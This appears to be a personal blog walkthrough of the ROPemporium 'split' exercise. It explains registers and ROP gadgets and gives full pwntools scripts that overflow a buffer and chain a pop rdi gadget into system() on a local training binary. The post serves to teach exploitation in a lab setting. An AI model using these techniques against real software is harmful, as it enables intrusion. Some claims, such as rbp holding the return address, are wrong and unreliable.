ROPemporium | Split

In my last post I briefly mentioned that through the manipulation of registers we could execute arbitrary code.
And we also proved that in fact could control what was executed next.

But there's a lot more power in the registers when doing ROP.

Like last time, let us look at what Wikipedia has to say:

A processor register is a quickly accessible location available to a computer's processor. Registers usually consist of a small amount of fast storage, although some registers have specific hardware functions, and may be read-only or write-only.

The way registers are implemented, the number of them, their size and how they are utilized can differ a lot between the different architectures.
So I'll try and write as generally as I can, but my main focus will be on the x64 because it is very widespread and the one i currently use.

I would also like to point out that there are more registers in a processor than those you see here, these are just the ones we have access to.

The first register is a special register, that is used to indicate where the computer is in the program sequence.

The rest is general purpose, but as you can see on the table, there are some that are used for special things.
That is however only according to calling conventions, which most software sticks to.

The ones we are most interested in when doing ROP are:

rbp

As we learned last post, this is register holds the return address of the function.

rsp

The stack pointer, it points to addresses in the stack.

rax

Holds the return value of a function.

rdi, rsi, rdx

Usually used for storing function parameter values.

An amazing tool to see which registers are used for what function parameters for linux libc follow this link.

According to the paper Return-Oriented-Programming (ROP FTW), ROP gadgets are small instruction sequences that end in a ret instruction or 0xc3 if looking at a hexdump of a binary.

(Btw, I can highly recommend reading this paper if you're interested in ROP)

The reason for these gadgets needing to end with a ret instruction, is to allow the creation of a chain of gadgets.

When trying to find these gadgets the following algorithm can be used:

1. Search the binary for all ret bytes
   
2. Go back and see if previous byte contains a valid instruction. Do this for up do 20 bytes
   
3. Record all valid instruction sequences found in the binary or linked libraries.
   

Fortunalety there are already tools made for this:

• https://github.com/sashs/Ropper
  
• https://github.com/JonathanSalwan/ROPgadget
  

I use ropper, but I think ROPgadget will do just as good a job.

The paper, linked above, describes five uses for gadgets:

• Load constant into register
  
• Load from memory
  
• Storing into memory
  
• Arithmetics
  
• System calls
  

The gadgets functionality depends on what intruction it starts with.
If the gadget starts with pop or push, they can be used to manipulate registers, where gadgets starting with the call instruction is used to make system calls.

These two types of gadgets are the ones you will need to find in order to complete this challenge.

The output here is exactly the same as last post, except for the name of the binary.
But I'll keep it here for good measure.

┌────[~/ha/bi/ropemporium/split on  master [?]
└─>file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

Same situation for checksec's output, if you need a refresher read my last post.

┌────[~/ha/bi/ropemporium/split on  master [?]
└─>checksec split
[*] '/home/c3lphie/hacking/binary_exploitation/ropemporium/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Once again we go through static analysis of the binary before we begin our exploit.

A quick recap of finding a basic buffer overflow.

I start with a basic template as you can see below.

from pwn import *

context.update(arch="amd64", os="linux")
proc = process("./split")
gdb.attach(proc, """
break main
""")

def send_recv(buffer: bytes):
    proc.recvuntil(">")
    proc.send(buffer)

payload = cyclic(100)

send_recv(payload)
proc.interactive()

Running this helps you find where base pointer is located on the stack.
I found the offset the be at 0x6161616b in the cyclic sequence, so I used cyclic_find(0x6161616b) to calculate my padding.

The following exploit returns into usefulFunction

from pwn import *

context.update(arch="amd64", os="linux")
proc = process("./split")
# gdb.attach(proc, """
# break main
# """)

def send_recv(buffer: bytes):
    proc.recvuntil(">")
    proc.send(buffer)

payload = cyclic(cyclic_find(0x6161616b))
payload += p64(0x400742)

send_recv(payload)
proc.interactive()

Which calls /bin/ls:

┌────[~/ha/bi/ropemporium/split on  master [?]
└─>python exploit.py
[+] Starting local process './split': pid 384887
[*] Switching to interactive mode
 Thank you!
exploit.py  exploit.py~  flag.txt  README.org  README.org~  split  split.bndb
[*] Got EOF while reading in interactive
$

So let find our first gadget!

As mentioned earlier I'll be using ropper to find the ROP gadgets needed for this exploit.

In fact we only need one gadget for this ROP chain since we already have a system call.
So what we need to do is find a gadget that can pop an address into a register from the stack.

┌────[~/ha/bi/ropemporium/split on  master [?]
└─>ropper -f split --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(split/ELF/x86_64)>

I use the --console flag because it loads the entire binary once, which makes multiple searches faster.
Now all we gotta do is search for gadgets starting with a pop instruction.

(split/ELF/x86_64)> search pop
[INFO] Searching for gadgets: pop

[INFO] File: split
0x00000000004007bc: pop r12; pop r13; pop r14; pop r15; ret;
0x00000000004007be: pop r13; pop r14; pop r15; ret;
0x00000000004007c0: pop r14; pop r15; ret;
0x00000000004007c2: pop r15; ret;
0x000000000040060b: pop rbp; mov edi, 0x601078; jmp rax;
0x00000000004007bb: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x00000000004007bf: pop rbp; pop r14; pop r15; ret;
0x0000000000400618: pop rbp; ret;
0x00000000004007c3: pop rdi; ret;
0x00000000004007c1: pop rsi; pop r15; ret;
0x00000000004007bd: pop rsp; pop r13; pop r14; pop r15; ret;

As you can see we have quite the list of candidates!

But why pop well, the instruction takes the element from the stack that the stack pointer points at, and puts it into the register coming after.
And since we have control of the stack elements, we can control the registers that we have pop gadgets for.

So which register do we want to pop
Well the first argument is often the rdi register, so the gadget we're gonna use is: 0x00000000004007c3: pop rdi; ret;

And just take a note of that address.

• State "DONE" from "NEXT" [2021-04-09 Fri 17:21]
  

Above you'll se the list of addresses we have collected so far.
All we have to do now is chain it together!

from pwn import *

...

popRdi = p64(0x4007c3)
system = p64(0x40074b)
usefulData = p64(0x601060)

payload = cyclic(cyclic_find(0x6161616b))

send_recv(payload)

proc.interactive()

In the same python file from the Buffer overflow section, I assigned the adresses as variables.
Then I simply add them in an order which chains them together (see were the name came from ;)).

But which order?
Well we should of course use the same order as it's done in assembly!

from pwn import *

...

popRdi = p64(0x4007c3)
system = p64(0x40074b)
usefulData = p64(0x601060)

payload = cyclic(cyclic_find(0x6161616b))
payload += popRdi
payload += usefulData
payload += system

send_recv(payload)

proc.interactive()

First we pop the usefulData address into the rdi register, and then we call system

Here is the final exploit, which will show us the flag.

from pwn import *

context.update(arch="amd64", os="linux")
proc = process("./split")
# gdb.attach(proc, """
# break main
# """)


def send_recv(buffer: bytes):
    proc.recvuntil(">")
    proc.send(buffer)

popRdi = p64(0x4007c3)
system = p64(0x40074b)
usefulData = p64(0x601060)

payload = cyclic(cyclic_find(0x6161616b))
payload += popRdi
payload += usefulData
payload += system

send_recv(payload)

proc.interactive()

If we run it in the terminal we get the following flag:

┌────[~/ha/bi/ropemporium/split on  master [?]
└─>python exploit.py
[+] Starting local process './split': pid 389100
[*] Switching to interactive mode
 Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

An there you go ladies and gentlemen, we got the flag!